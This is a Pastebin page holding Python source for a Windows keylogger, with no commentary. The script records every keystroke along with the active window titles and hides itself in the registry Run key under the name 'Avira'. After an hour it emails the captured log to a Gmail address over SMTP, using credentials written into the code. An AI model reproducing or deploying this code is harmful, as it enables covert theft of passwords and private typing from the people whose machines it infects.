Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import pyHook, pythoncom, threading, smtplib, win32gui
- from sys import argv
- from time import sleep
- from _winreg import *
- from email.mime.text import MIMEText
- class Timer(threading.Thread):
- def __init__(self, seconds):
- self.runTime = seconds
- threading.Thread.__init__(self)
- def run(self):
- sleep(self.runTime)
- fp = open('config.txt', 'rb')
- msg = MIMEText(fp.read())
- fp.close()
- msg['Subject'] = 'The contents of %s' % fp
- msg['From'] = 'turdshit@gmail.com'
- msg['To'] = 'ilykturtles@gmail.com'
- s = smtplib.SMTP('smtp.googlemail.com', 587)
- s.ehlo()
- s.starttls()
- s.ehlo()
- s.login('turdshit@gmail.com', 'roflcopter')
- s.sendmail('turdshit@gmail.com', 'ilykturtles@gmail.com', msg.as_string())
- s.quit()
- def WriteToRegistry():
- RegKey = CreateKey(HKEY_LOCAL_MACHINE, r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run')
- SetValueEx(RegKey, 'Avira', 0, REG_SZ, argv[0])
- def OnKeyboardEvent(event):
- Logs = open('config.txt', 'a+')
- global WindowName
- if WindowName != win32gui.GetWindowText(win32gui.GetForegroundWindow()):
- WindowName = win32gui.GetWindowText(win32gui.GetForegroundWindow())
- Logs.write('\r\n' + '\r\n' + WindowName + '\r\n')
- else:
- pass
- if event.KeyID == 13:
- Logs.write(' [ENTER]\r\n')
- elif event.KeyID == 32:
- Logs.write(' ',)
- elif event.KeyID == 8:
- Logs.write(' [BACK] ',)
- elif event.KeyID == 162:
- Logs.write(' [LEFT CTRL] ',)
- elif event.KeyID == 163:
- Logs.write(' [RIGHT CTRL] ',)
- elif event.KeyID == 164:
- Logs.write(' [ALT] ',)
- elif event.KeyID == 9:
- Logs.write(' [TAB] ',)
- elif event.KeyID == 160:
- Logs.write(' [LEFT SHIFT] ',)
- elif event.KeyID == 161:
- Logs.write(' [RIGHT SHIFT] ',)
- elif event.KeyID == 20:
- Logs.write(' [CAPS LOCK] ',)
- elif event.KeyID == 190:
- Logs.write('.')
- elif event.KeyID == 187:
- Logs.write('+')
- elif event.KeyID == 190:
- Logs.write('#')
- else:
- Logs.write(event.Key.lower(),)
- Logs.close()
- time_ = Timer(3600)
- time_.start()
- WriteToRegistry()
- WindowName = ""
- hooking = pyHook.HookManager()
- hooking.KeyDown = OnKeyboardEvent
- hooking.HookKeyboard()
- pythoncom.PumpMessages()
Add Comment
Please, Sign In to add comment